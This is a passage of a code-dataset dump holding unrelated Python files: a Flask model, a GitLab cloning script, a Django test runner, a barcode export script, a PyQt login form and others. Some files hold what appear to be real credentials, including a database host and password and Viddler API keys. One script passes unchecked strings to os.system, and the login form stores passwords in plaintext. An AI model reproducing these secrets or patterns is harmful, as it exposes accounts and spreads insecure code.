datetime\n\n\nclass Video(db.Model):\n __tablename__ = 'videos'\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n title = db.Column(db.String(50))\n release_date = db.Column(db.DateTime)\n total_inventory = db.Column(db.Integer)\n rentals = db.relationship('Rental', backref=\"rentals\", lazy=True)\n\n\n def make_json(self):\n\n currently_rented_out = len(self.rentals)\n total = self.total_inventory\n available = total - currently_rented_out\n\n return {\n \"id\": self.id,\n \"title\": self.title,\n \"release_date\": self.release_date,\n \"total_inventory\": self.total_inventory,\n \"available_inventory\": available\n }\n\n #@classmethod\n def from_json(request_data):\n\n date_time_str = request_data[\"release_date\"]\n date_time_obj = datetime.strptime(date_time_str, '%Y-%m-%d')\n\n new_video = Video(\n title = request_data[\"title\"],\n release_date = date_time_obj,\n total_inventory = request_data[\"total_inventory\"] \n )\n return new_video\n \n def rental_response(request_data):\n\n return {\n \"title\": request_data[\"title\"],\n \"release_date\": request_data[\"release_date\"],\n \"due_date\": request_data[\"due_date\"] \n }\n","sub_path":"app/models/video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"178046111","text":"import requests\nimport json\nimport os\n\ngitlab_api = 'https://gitlab.com/api/v4/groups/{0:s}/projects?private_token={1:s}&per_page={2:d}'\nyour_group_name = ''\nyour_access_token = ''\npageSize = 100\n\nres = requests.get(gitlab_api.format(your_group_name, your_access_token, pageSize))\n\nprojects = json.loads(res.text)\n\nfor p in projects:\n print(['ssh_url_to_repo'])\n os.system(\"git clone \" + p['ssh_url_to_repo'])\n","sub_path":"clone_all_project_of_a_group_at_once_in_gitlab.py","file_name":"clone_all_project_of_a_group_at_once_in_gitlab.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"24002370","text":"import sys\nimport gc\nfrom copy import deepcopy\nfrom random import choice\nfrom numpy import log\nfrom scipy.misc import factorial\nfrom scipy.sparse import coo_matrix\nimport scipy.sparse.linalg as sp\n\ndef get_author_papers():\n papers, authors = {}, {}\n lines = open('Data/PaperAuthor.csv').readlines()[1:]\n for line in lines:\n try:\n paperid = line.strip().split(',')[0]\n authorid = line.strip().split(',')[1]\n try:\n papers[authorid].append(paperid)\n except KeyError:\n papers[authorid] = [paperid]\n try:\n authors[paperid].append(authorid)\n except KeyError:\n authors[paperid] = [authorid]\n except IndexError:\n pass\n return papers, authors\n\n\n## def random_path(papers, authors, authorOri, nstep=10):\n## current, visited = authorOri, []\n## for step in range(nstep):\n## # add next step in the sequence\n## current = choice(authors[choice(papers[current])])\n## visited.append(current)\n## return visited\n\n\n## def paths_to_score(paths, authorNames):\n## visits = dict([(author,\n## dict([(i+1, []) for i in range(len(paths[0]))]))\n## for author in authorNames])\n## for path in paths:\n## for n1 in range(len(path)):\n## for n2 in range(n1+1, len(path)):\n## d = n2-n1\n## visits[authorNames[n1]][d].append(authorNames[n2])\n\n## score = dict([(author, {}) for author in authorNames])\n\n\n## def get_diff_scores(papers, authors, nrep=100):\n## # Get all the random paths\n## paths = []\n## for author in authors:\n## for rep in range(nrep):\n## paths.append(random_path(papers, authors, author))\n## return paths_to_score(paths)\n\ndef get_score(authors, papers):\n authorIDs = papers.keys()\n paperIDs = authors.keys()\n\n authorID2n = dict([(authorIDs[nau], nau) for nau in range(len(authorIDs))])\n paperID2n = dict([(paperIDs[nau], nau) for nau in range(len(paperIDs))])\n\n # author->paper matrix\n print >> sys.stderr, '> author->paper'\n data, row, col = [], [], []\n for nau in range(len(authorIDs)):\n author = authorIDs[nau]\n norm = float(len(papers[author]))\n for paper in papers[author]:\n data.append(1. / norm)\n row.append(nau)\n col.append(paperID2n[paper])\n A = coo_matrix((data, (row, col)), shape=(len(authorIDs), len(paperIDs)))\n \n # paper->author matrix\n print >> sys.stderr, '> paper->author'\n data, row, col = [], [], []\n for npa in range(len(paperIDs)):\n paper = paperIDs[npa]\n norm = float(len(authors[paper]))\n for author in authors[paper]:\n data.append(1. / norm)\n row.append(npa)\n col.append(authorID2n[author])\n B = coo_matrix((data, (row, col)), shape=(len(paperIDs), len(authorIDs)))\n\n # author->author transition matrix\n print >> sys.stderr, '> author->author'\n C = A.dot(B)\n A, B = None, None\n gc.collect()\n C.tobsr()\n\n print >> sys.stderr, '> exp(author->author)'\n L = deepcopy(C)\n for i in range(2, 5):\n print >> sys.stderr, '>> %d' % i\n C = C.dot(C)\n print >> sys.stderr, '>> %d.5' % i\n L += C / factorial(i)\n print >> sys.stderr, '>> %d.9' % i\n C = None\n gc.collect()\n\n return L\n ## return C.todok() # In dok format, elements can be extracted as C[0, 4]\n\ndef get_train():\n lines = open('Data/Train.csv').readlines()[1:]\n confirmed, deleted = {}, {}\n for line in lines:\n aid, conf, dele = line.strip().split(',')\n confirmed[aid] = conf.split()\n deleted[aid] = dele.split()\n return confirmed, deleted\n\n\nif __name__ == '__main__':\n print >> sys.stderr, 'Reading data...'\n papers, authors = get_author_papers()\n print >> sys.stderr, 'Calculating scores...'\n get_score(authors, papers)\n \n ## venue = get_venue()\n ## confirmed, deleted = get_train()\n\n ## P1, P2 = get_ps(confirmed, venue)\n\n ## for aid in confirmed:\n ## all = confirmed[aid] + deleted[aid]\n ## for p1 in all:\n ## if p1 in confirmed[aid]:\n ## tf = 'T'\n ## else:\n ## tf = 'F'\n ## others = [p for p in all if p != p1]\n ## s = get_score(p1, others, venue, P1, P2)\n ## if s > -.5 :\n ## print aid, p1, s, tf\n","sub_path":"Roger/coauthors_diff_matrix.py","file_name":"coauthors_diff_matrix.py","file_ext":"py","file_size_in_byte":4497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"604559229","text":"# ! /usr/bin/env python3\n# -*- coding:utf-8 -*-\nimport os\nimport random\nfrom time import sleep\n\nimport openpyxl\nimport requests\nimport json\nimport datetime\nimport pyodbc\nimport psycopg2\n\nimport csv\n\n\ncn = psycopg2.connect(database=\"datacenter\", user=\"acc\",password=\"123\",host=\"47.107.230.103\", port=\"5432\",)\n\ncur = cn.cursor()\n\n\nclientid='api-tj'\npwd='#v7gc^sj7ben6*_'\n\ntitle = [\"码类型\",\"主产品码\",\"关联产品码\",\"产品编号\",\"产品名称\",\"历史父产品码\"]\nnew_path = \"C:\\\\Users\\\\win10\\\\Desktop\\\\hand_excel_base\"\nif not os.path.exists(new_path):\n os.mkdir(new_path)\n\nbook = openpyxl.Workbook()\nsheet = book.create_sheet(index=0)\n# book2 = openpyxl.Workbook()\n# sheet2 = book2.create_sheet(index=0)\nlie = 1\nfor i in title:\n sheet.cell(1, lie, i)\n # sheet2.cell(1, lie, i)\n lie += 1\nhang = 2\n# hang2 = 2\n\ndef get_details():\n sql = \" select b.batch_id,c.code,d.external_code,d.name,c.tm,b.main_code,b.code,b.name,e.VALUE,c.tm_handled \"+\\\n \"from (select batch_id from temp.hand_wsqx_grp_tt where other_code is not null GROUP BY batch_id)a \"+\\\n \" left outer join \"+\\\n \" (select batch_id,name ,code,main_code,other_code,product_id FROM temp.hand_wsqx_grp_tt)b \"+\\\n \" on a.batch_id = b.batch_id \"+\\\n \" left outer join \"+\\\n \" (select id,company_to_id,to_char( tm, 'yyyy-mm-dd HH24:MI:SS' )tm,to_char( tm_handled, 'yyyy-mm-dd HH24:MI:SS' )tm_handled,code from inventory_batch )c \"+\\\n \" on c.id = a.batch_id \"+\\\n \" LEFT outer JOIN \"+\\\n \" (select id,name,external_code from company_company)d \"+\\\n \" on d.id = c.company_to_id \"+\\\n \" left outer join \"+\\\n \" ( SELECT product_id,( SELECT VALUE FROM logistics.product_productprop WHERE ID = prd_property_id ) FROM logistics.product_prdprops \"+\\\n \" WHERE ( SELECT categoryprop_id FROM logistics.product_productprop WHERE ID = prd_property_id ) = 4 ) e \"+\\\n \" ON b.product_id = e.product_id \"+\\\n \" ORDER BY a.batch_id\"\n\n sql = \"SELECT a.id,a.code, d.external_code, d.NAME, a.tm,b.label_code, c.external_code, c.name, e. VALUE , a.tm_handled,b.label_pk_id \"+\\\n \" FROM ( SELECT id,product_id,company_to_id, to_char( tm, 'yyyy-mm-dd HH24:MI:SS' ) tm, to_char( tm_handled, 'yyyy-mm-dd HH24:MI:SS' ) \" +\\\n \"tm_handled, code FROM logistics.inventory_batch \"+\\\n\t\" WHERE company_id = 1 AND vtype_id = 2 AND company_to_id = 18742 AND dt BETWEEN '2021-11-01' AND '2021-11-20' ) \"+\\\n\t\" A LEFT OUTER JOIN ( SELECT batch_id, label_pk_id ,label_code FROM logistics.inventory_stkdetails ) b ON A.id = b.batch_id \"+\\\n\t\" LEFT OUTER JOIN ( SELECT id,name,external_code FROM logistics.product_product ) C ON C.ID = A.product_id \"+\\\n\t\" LEFT OUTER JOIN ( SELECT ID, NAME, external_code FROM logistics.company_company ) d ON d.ID = a.company_to_id \"+\\\n\t\" LEFT OUTER JOIN ( SELECT product_id, ( SELECT VALUE FROM logistics.product_productprop WHERE ID = prd_property_id ) FROM logistics.product_prdprops \"+\\\n\t\" WHERE ( SELECT categoryprop_id FROM logistics.product_productprop WHERE ID = prd_property_id ) = 4 ) e ON a.product_id = e.product_id \"+\\\n \" ORDER BY A.id\"\n\n s = \"SELECT A\t.label_code,\tA.label_pk_id,\tC.NAME,\tC.external_code FROM\t(\tSELECT label_code,label_pk_id,product_id \tFROM logistics.inventory_stkdetails \"+\\\n \" WHERE company_id = 1 AND vtype_id = 2 AND company_to_id = 18742 AND is_delete = FALSE AND dt BETWEEN '2021-11-1' AND '2021-11-27' )\"+\\\n \" A LEFT OUTER JOIN ( SELECT q.* FROM ( SELECT label, label_pk_id FROM logistics.z_ty_outbound_copy1 WHERE agent_name = '江苏万事全兴食品科技有限公司' ) q \"+\\\n \" LEFT OUTER JOIN ( SELECT label, label_pk_id FROM logistics.z_ty_back_copy1 WHERE agent_name = '江苏万事全兴食品科技有限公司' ) z ON q.label_pk_id = z.label_pk_id \"+\\\n \" WHERE z.label_pk_id IS NULL ) b ON A.label_pk_id = b.label_pk_id \"+\\\n \" LEFT OUTER JOIN ( SELECT ID, external_code, NAME FROM logistics.product_product ) C ON A.product_id = C.ID \"+\\\n \" WHERE b.label_pk_id IS NULL\"\n print(sql)\n cur.execute(sql)\n rs=cur.fetchall()\n\n '''\n dataType\tY\t类型\t String\tVARCHAR\t\t0/新增;1/修改\t0/新增;1/修改\n codeType\tY\t产品码类型\tString\tVARCHAR\t\tC001\t值集\n mainCodeNo\tY\t主产品码\tString\tVARCHAR\t\t208350387748\t接口数据唯一标识,新增时,验重\n otherCodeNo\tN\t关联产品码\tString\tVARCHAR\t\t208350387783\t新增时,验重\n parCodeNo\tY\t父级产品码\tString\tDATETIME\t\t\t向上关联的码,一般盖码关联瓶码,瓶码关联箱码\n codeStatus\tY\t状态\t String\tVARCHAR\t\tActive\tActive/生效;Unactive/失效\n prodNo\tY\t产品编号\tString\tVARCHAR\t\t271484\t关联的产品编号\n prodName\tY\t产品名称\tString\tVARCHAR\t\t52度500mL小酒鬼酒(白盒)品鉴酒(促销)\t产品名称\n C001\t箱码\n C002\t盒码\n C003\t瓶身码\n C004\t盖码\n C005\t防伪码\n '''\n hang = 2\n for r in rs:\n p_code = r[6]\n p_name = r[7]\n mc0=r[5]\n #箱码\n s=\"select code from label.t\"+str(mc0[:4])+\" where parent_id=\"+str(r[-1])+\" and package_id=3 limit 1\"\n cur.execute(s)\n r0=cur.fetchone()\n if r0:\n # f_csv.writerow(['箱码',mc0,r0[0],p_code,p_name,''])\n\n # 逐行写入\n sheet.append(['箱码', mc0, r0[0], p_code, p_name, ''])\n hang += 1\n else:\n # f_csv.writerow(['箱码',mc0,'',p_code,p_name,''])\n\n sheet.append(['箱码', mc0, '', p_code, p_name, ''])\n hang += 1\n s=\"select code from label.t\"+str(mc0[:4])+\" where parent_id=\"+str(r[-1])+\" and package_id=1 \"\n s = \"select code,\" + \\\n \"(select label from label.bottlecap where bottle=code order by id desc limit 1),id \" + \\\n \"from label.t\" + mc0[:4] + \" where parent_id=\" + str(r[1]) + \" and package_id=1\"\n cur.execute(s)\n rs2 = cur.fetchall()\n labels = []\n for rr in rs2:\n sheet.append(['瓶码', rr[0], \"\", p_code, p_name, mc0])\n hang += 1\n # 盖码\n if rr[1]: # 有盖码\n sheet.append(['盖码', rr[1], \"\", p_code, p_name, rr[0]])\n hang += 1\n # 没瓶盖,要到内网取小圆标活动码\n else:\n # 取内网数据\n labels.append({'label_pk_id': rr[2], 'code': rr[0]})\n url = 'http://www.china315net.com:35088/internal/data/promotion/'\n r = requests.post(url, json={'labels': labels})\n rs = json.loads(r.text)\n a = []\n for c in rs['data']:\n # f_csv.writerow(['盖码', c['code'], \"\", p_code, p_name, rr[0]])\n sheet.append(['盖码', c['code'], \"\", p_code, p_name, rr[0]])\n hang += 1\n book.save(os.path.join(new_path, \"hande_base_wsqx.xlsx\"))\n\n cur.close()\n\nif __name__ == \"__main__\":\n get_details()\n print(\"ok----------------------------\")\n # post_way(tk)\n","sub_path":"WLBC/15_active-csv.py","file_name":"15_active-csv.py","file_ext":"py","file_size_in_byte":7161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"502111872","text":"import os\nfrom github import Github\n\n\ndef create_issue(title, body):\n try:\n github_client = Github(os.getenv(\"GITHUB_ACCESS_TOKEN\"))\n repo = github_client.get_repo(os.getenv(\"GITHUB_REPO\"))\n label = repo.get_label(\"bug\")\n\n repo.create_issue(title=title, body=body, labels=[label])\n except Exception as e:\n print(\"Error when creating GitHub issue (check your token): {}\".format(e))\n","sub_path":"lib/gh.py","file_name":"gh.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"463791320","text":" # main.py -- put your code here!\nimport pyb\nfrom pyb import UART\nimport math\nimport sensors, alarm\nimport os\nimport micropython\nmicropython.alloc_emergency_exception_buf(100)\n\nmainSensor = sensors.DeviceSensor()\nkeyInput = sensors.Keypad()\nalert = alarm.Alert()\ncount = 0\nred = pyb.LED(1)\ngreen = pyb.LED(3)\n\t#UART\nuart = UART(6,115200)\nuart.init(115200, bits = 8, parity = None, stop = 1)\ndegree0 = 0\nlux0 = 0\nwhile True:\n\tdegree1 = mainSensor.tmprt()\n\tlux1 = mainSensor.light()\n\tuart.write(str(abs(lux1-lux0))+\"$\"+str(degree1))\n\tif count > 0:\n\t\tif abs(degree1-degree0) > 1.5:\n\t\t\talert.trigger(keyInput,False)\n\t\t\tdegree1 = mainSensor.tmprt()\n\t\telif abs(lux1-lux0) > 50:\n\t\t\talert.trigger(keyInput,True)\n\t\t\tlux1 = mainSensor.light()\n\t\telif mainSensor.motion() == 0:\n\t\t\talert.trigger(keyInput,True)\n\telse: count = 1\n\tdegree0 = degree1\n\tlux0 = lux1\n\tpyb.delay(1000)\n\t\ni2c.deinit()","sub_path":"src/pyBoard/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"502571820","text":"\"\"\"\nDetected client is the raw event from the device interface.\n\"\"\"\nimport time \nclass DetectedClient:\n def __init__(self,type,**kwargs):\n self.type=type\n if self.type == 'btle':\n self.udid=kwargs.get('udid','undefined')\n self.createTime = time.time()\n self.extraData = {}\n self.extraData['beaconMac'] = kwargs.get('beaconMac','undefined')\n self.extraData['majorNumber'] = kwargs.get('majorNumber',0)\n self.extraData['minorNumber'] = kwargs.get('minorNumber',0)\n self.extraData['udid'] = self.udid\n self.extraData['tx'] = kwargs.get('tx',0)\n self.extraData['rssi'] = kwargs.get('rssi',0)\n\n def __str__(self):\n return \"udid: {1} \\n createTime: {2}\".format(self.udid, self.createTime)","sub_path":"collection_modules/btle_beacon/detectedClient.py","file_name":"detectedClient.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"311687654","text":"class Solution:\n def longestCommonPrefix(self, strs: list[str]) -> str:\n s1 = min(strs)\n s2 = max(strs)\n for i, c in enumerate(s1):\n if c != s2[i]:\n return s2[:i]\n return s1\n\n\nstrs = [\"flower\",\"flow\",\"fliwht\"]\n# strs = [\"dog\",\"racecar\",\"car\"]\n\nsol = Solution()\nprint(sol.longestCommonPrefix(strs))\n\n","sub_path":"leetcode/Longest_Common_Prefix.py","file_name":"Longest_Common_Prefix.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"412644100","text":"import os\nimport sys\nimport environ\n\n\nPROJECT_ROOT = environ.Path(__file__) - 2\n\nenv = environ.Env()\n\nif os.path.exists(PROJECT_ROOT('.env')):\n env.read_env(PROJECT_ROOT('.env'))\n\n\ntry:\n from django.conf import settings\n\n settings_kwargs = {\n 'DEBUG': True,\n 'LANGUAGE_CODE': 'en-us',\n 'USE_TZ': True,\n 'PROJECT_ROOT': PROJECT_ROOT,\n 'ROOT_URLCONF': 'expeditions.urls',\n 'INSTALLED_APPS': [\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sites',\n 'acknowledge',\n 'biography',\n 'cms',\n 'concepts',\n 'core_content',\n 'core_media',\n 'credits',\n 'edumetadata',\n 'expeditions',\n 'ckeditor',\n 'formfield',\n 'licensing',\n 'menus',\n 'navigation',\n 'ngsprojects',\n 'queued_storage',\n 'sf_models',\n 'swapper',\n 'taxonomy',\n 'teachingatlas',\n 'treebeard',\n 'treenav',\n 'viddler',\n 'viewmaster',\n ],\n 'SITE_ID': 1,\n 'MEDIA_URL': '/uploads/',\n 'NOSE_ARGS': ['-s'],\n 'STATIC_URL': '/static/',\n 'LESSON_SETTINGS': {\n 'RELATION_MODELS': (\n 'core_media.ngphoto',\n ),\n },\n 'TEACHINGATLAS_IMAGE_MODEL': 'core_media.NGPhoto',\n 'VIDDLER_SETTINGS': {\n 'API_KEY': '15z0p5aul5vbiheho0js',\n 'USERNAME': 'apiuser',\n 'PASSWORD': 'casebook-ave-roll',\n },\n 'TEMPLATES': [{\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n \"django.contrib.auth.context_processors.auth\",\n \"django.template.context_processors.debug\",\n \"django.template.context_processors.i18n\",\n \"django.template.context_processors.media\",\n \"django.template.context_processors.static\",\n \"django.template.context_processors.tz\",\n \"django.template.context_processors.request\",\n \"django.contrib.messages.context_processors.messages\",\n ],\n },\n }, ]\n }\n\n if 'TEST_DATABASE_SERVER' in os.environ:\n TEST_DATABASE_URL = env('TEST_DATABASE_SERVER').rstrip('/') + \"/test_expeditions\"\n DATABASES = {\n 'default': env.db_url_config(TEST_DATABASE_URL)\n }\n DATABASES['default']['TEST'] = env.db_url_config(TEST_DATABASE_URL)\n else:\n DATABASES = {\n 'default': env.db('TEST_DATABASE_URL', default=\"postgresql://postgres:@localhost:5432/test_expeditions\")\n }\n DATABASES['default']['TEST'] = env.db('TEST_DATABASE_URL', default=\"postgresql://postgres:@localhost:5432/test_expeditions\")\n\n settings_kwargs['DATABASES'] = DATABASES\n\n # 'DATABASES': {\n # 'default': {\n # 'ENGINE': 'django.db.backends.sqlite3',\n # 'NAME': 'django_expeditions',\n # }\n # },\n\n settings.configure(**settings_kwargs)\n\n try:\n import django\n setup = django.setup\n except AttributeError:\n pass\n else:\n setup()\n\nexcept ImportError:\n import traceback\n traceback.print_exc()\n raise ImportError('To fix this error, run: pip install -r requirements-test.txt')\n\n\ndef run_tests(*test_args):\n from django.test.utils import get_runner\n if not test_args:\n test_args = ['expeditions.tests']\n\n # Run tests\n TestRunner = get_runner(settings) # NOQA\n test_runner = TestRunner()\n failures = test_runner.run_tests(test_args)\n\n if failures:\n sys.exit(failures)\n\n\nif __name__ == '__main__':\n run_tests(*sys.argv[1:])\n","sub_path":"runtests.py","file_name":"runtests.py","file_ext":"py","file_size_in_byte":3925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"472135333","text":"# General imports\nimport os, json, logging, pathlib\nimport click\nimport yaml\n\n# From common\nfrom luna_core.common.custom_logger import init_logger\nfrom luna_core.common.DataStore import DataStore_v2\nfrom luna_core.common.config import ConfigSet\n\nimport pandas as pd\nimport pyarrow.parquet as pq\nimport pyarrow as pa\n\n@click.command()\n@click.option('-a', '--app_config', required=True,\n help=\"application configuration yaml file. See config.yaml.template for details.\")\n@click.option('-s', '--datastore_id', required=True,\n help='datastore name. usually a slide id.')\n@click.option('-m', '--method_param_path', required=True,\n help='json file with method parameters including input, output details.')\ndef cli(app_config, datastore_id, method_param_path):\n \"\"\"Save tiles as a parquet file, indexed by slide id, address, and optionally patient_id.\n\n app_config - application configuration yaml file. See config.yaml.template for details.\n\n datastore_id - datastore name. usually a slide id.\n\n method_param_path - json file with method parameters including input, output details.\n\n - input_label_tag: job tag used for generating tile labels\n\n - input_wsi_tag: job tag used for loading the slide\n\n - output_datastore: job tag for collecting tiles\n\n - root_path: path to output data\n \"\"\"\n init_logger()\n\n with open(method_param_path, 'r') as yaml_file:\n method_data = yaml.safe_load(yaml_file)\n collect_tile_with_datastore(app_config, datastore_id, method_data)\n\ndef collect_tile_with_datastore(app_config: str, datastore_id: str, method_data: dict):\n \"\"\"Save tiles as a parquet file.\n\n Save tiles as a parquet file, indexed by slide id, address, and optionally patient_id.\n\n Args:\n app_config (string): path to application configuration file.\n datastore_id (string): datastore name. usually a slide id.\n method_data (dict): method parameters including input, output details.\n\n Returns:\n None\n \"\"\"\n logger = logging.getLogger(f\"[datastore={datastore_id}]\")\n\n cfg = ConfigSet(\"APP_CFG\", config_file=app_config)\n\n input_tile_data_id = method_data.get(\"input_label_tag\")\n input_wsi_tag = method_data.get(\"input_wsi_tag\")\n output_datastore_id = method_data.get(\"output_datastore\")\n\n # get info from WholeSlideImages and TileImages\n datastore = DataStore_v2(method_data.get(\"root_path\"))\n slide_path = datastore.get(datastore_id, input_wsi_tag, \"WholeSlideImage\", realpath=False)\n if slide_path is None:\n raise ValueError(\"Image node not found\")\n slide_metadata_json = os.path.join(pathlib.Path(slide_path).parent, \"metadata.json\")\n\n tile_path = datastore.get(datastore_id, input_tile_data_id, \"TileImages\")\n tile_image_path = os.path.join(tile_path, \"tiles.slice.pil\")\n tile_label_path = os.path.join(tile_path, \"address.slice.csv\")\n tile_label_metadata_json = os.path.join(tile_path, \"metadata.json\")\n\n with open(tile_label_metadata_json, \"r\") as fp:\n tile_properties = json.load(fp)\n with open(slide_metadata_json, \"r\") as fp:\n slide_properties = json.load(fp)\n try:\n df = pd.read_csv(tile_label_path)\n df.loc[:,\"data_path\"] = tile_image_path\n if cfg.get_value(path='APP_CFG::OBJECT_STORE_ENABLED'):\n df.loc[:,\"object_bucket\"] = tile_properties['object_bucket']\n df.loc[:,\"object_path\"] = tile_properties['object_folder'] + \"/tiles.slice.pil\"\n\n if slide_path and 'patient_id' in slide_properties:\n df.loc[:,\"patient_id\"] = slide_properties['patient_id']\n\n df.loc[:,\"id_slide_container\"] = datastore_id\n\n if 'patient_id' in df:\n df = df.set_index([\"patient_id\", \"id_slide_container\", \"address\"])\n else:\n df = df.set_index([\"id_slide_container\", \"address\"])\n logger.info(df)\n\n output_dir = os.path.join(method_data.get(\"root_path\"), output_datastore_id)\n\n if not os.path.exists(output_dir): os.makedirs(output_dir)\n\n output_file = os.path.join(output_dir, f\"{datastore_id}.parquet\")\n\n pq.write_table(pa.Table.from_pandas(df), output_file)\n\n logger.info(\"Saved to : \" + str(output_file))\n\n \"\"\"properties = {\n \"rows\": len(df),\n \"columns\": len(df.columns),\n \"data\": output_file\n }\n print(properties)\"\"\"\n\n except Exception as e:\n logger.exception (f\"{e}, stopping job execution...\")\n raise e\n\n\n\nif __name__ == \"__main__\":\n cli()\n","sub_path":"luna_pathology/cli/collect_tile_segment.py","file_name":"collect_tile_segment.py","file_ext":"py","file_size_in_byte":4589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"269895684","text":"#Importar librerias necesarias\nimport sys\nimport sqlite3\n\n#Importar ventana de Login creada en QT Designes y exportada a python\nfrom PyQt5 import QtWidgets\nfrom PyQt5.QtWidgets import QMessageBox\nfrom f_Login import Ui_MainWindow\n\n\n\n###-------------------------------- USAR SOLO PARA PRUEBAS --------------------------------###\n\n##Manejo de Base de datos con SQLite3\n#miConexion = sqlite3.connect(\"Usuarios\")\n#miCursor = miConexion.cursor()\n##Crear Base de Datos si no existe\n#miCursor.execute('''\n# CREATE TABLE IF NOT EXISTS USUARIOS (\n# Usuario VARCHAR(10) PRIMARY KEY,\n# PSW VARCHAR(10))\n#''')\n\n\n##Ejemplo para introducir usuario desde el código\n\n#miCursor.execute(\"INSERT INTO USUARIOS VALUES ('Daniel', '1234')\")\n#miConexion.commit()\n\n###-------------------------------- USAR SOLO PARA PRUEBAS --------------------------------###\n\n##Cerrar conexión de la Base de Datos\n#miConexion.close()\n\n#Leer y cargar ventan creada con QT Designer y exportada a Python\nclass Login_GUI(QtWidgets.QMainWindow):\n #Función para iniciar ventana de Login\n def __init__(self):\n super(Login_GUI, self).__init__()\n self.ui = Ui_MainWindow()\n self.ui.setupUi(self)\n #Habilitar o deshabilitar botones\n self.ui.b_Entrar.setEnabled(True)\n self.ui.b_Cancelar.setEnabled(True)\n self.ui.b_Registrar.setEnabled(True)\n #Acción de botón b_Cancelar\n self.ui.b_Cancelar.clicked.connect(self.fn_Cancelar)\n #Accíon del botón b_Entrar\n self.ui.b_Entrar.clicked.connect(self.fn_Entrar)\n \n #Función del boton b_Cancelar\n def fn_Cancelar(self):\n sys.exit()\n \n #Función del boton b_Entrar\n def fn_Entrar(self):\n #Leer datos ingresados\n User = self.ui.D_usuario.text()\n Password = self.ui.D_psw.text()\n #Abrir Base de Datos con SQLite3\n miConexion = sqlite3.connect(\"Usuarios\")\n miCursor = miConexion.cursor()\n #Crear Base de Datos si no existe\n miCursor.execute('''\n CREATE TABLE IF NOT EXISTS USUARIOS (\n Usuario VARCHAR(10) PRIMARY KEY,\n PSW VARCHAR(10),\n Nivel VARCHAR(15))\n ''')\n #Leer los datos de la Base de Datos y comparar \n miCursor.execute(\"SELECT * FROM USUARIOS WHERE Usuario = ? AND PSW = ?\", (User, Password))\n if miCursor.fetchall():\n self.msg_info(\"Login correcto\", \"Bienvenido \" + User)\n else:\n self.msg_warning(\"Login incorrecto\", \"Usuario y contraseña incorrectos\")\n #Cerrar conexion de Base de Datos\n miConexion.close\n sys.exit()\n \n #Función para mensajes de Información\n def msg_info(self, titulo, mensaje):\n msgbox = QMessageBox()\n msgbox.setIcon(QMessageBox.Information)\n msgbox.setWindowTitle(titulo)\n msgbox.setText(mensaje)\n msgbox.exec_()\n \n #Función para mensajes de Advertencia\n def msg_warning(self, titulo, mensaje):\n msgbox = QMessageBox()\n msgbox.setIcon(QMessageBox.Warning)\n msgbox.setWindowTitle(titulo)\n msgbox.setText(mensaje)\n msgbox.exec_()\n\n#Mostrar ventana Login\nif __name__ == '__main__':\n app = QtWidgets.QApplication([])\n application = Login_GUI()\n application.show()\n sys.exit(app.exec())\n\n\n\n #Datos = [(Usuario, Password)]\n # #Leer los datos de la Base de Datos y comparar \n # miCursor.executemany(\"INSERT INTO USUARIOS VALUES (?, ?)\", Datos)\n # miConexion.commit()\n # miConexion.close","sub_path":"OLD/Dan3/old/m_Login_28.10.20.py","file_name":"m_Login_28.10.20.py","file_ext":"py","file_size_in_byte":3305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"553660490","text":"# Αρχικοποίηση μεταβλητών\nlist = []\n\nfor i in range(5):\n num = int(input(\"Δώσε στοιχείο: \").strip())\n list.append(num)\n\nprint(f\"H μη ταξινομημένη λίστα είναι: {list}\")\n\nfor i in range(1, 5):\n for j in range(4, i-1, -1):\n if list[j-1] > list[j]:\n temp = list[j-1]\n list[j-1] = list[j]\n list[j] = temp\n\n# Εκτύπωση αποτελέσματος\nprint(f\"H ταξινομημένη λίστα είναι: {list}\")\n","sub_path":"labs/source/lab_09/lab_09_example_3a.py","file_name":"lab_09_example_3a.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"462764456","text":"import configparser\nimport os\nfrom datetime import datetime\nimport re\n\nCONFIG_FILENAME = 'init.ini'\n\n\ndef _get_configure():\n if not os.path.exists(CONFIG_FILENAME):\n raise Exception(\" %s config file can not be found\" % CONFIG_FILENAME)\n config = configparser.ConfigParser()\n config.read(CONFIG_FILENAME)\n return config\n\n\ndef get_checkin_users():\n users = []\n users_section = _get_configure()['users']\n for entry in users_section:\n if '.' not in entry:\n u = {}\n u['username'] = entry\n u['password'] = users_section[entry]\n users.append(u)\n return users\n\ndef get_checkout_users():\n users = []\n users_section = _get_configure()['users']\n for entry in users_section:\n if '.' not in entry \\\n and entry+'.checkout' in users_section \\\n and users_section[entry+'.checkout'] == 'true' : # username entry\n\n u = {}\n u['username'] = entry\n u['password'] = users_section[entry]\n users.append(u)\n return users\n\ndef _get_op_weekdays(weekday_str):\n ''' load running weekdays configration \n\n Returns:\n weekdays tuple\n '''\n result = None\n try:\n result = tuple(int(i) for i in weekday_str.split(','))\n except Exception as e:\n raise Exception('invalid weekday configration format')\n return result\n\n\ndef get_sched_config_map():\n sys_section = _get_configure()['sched_config']\n int_matcher 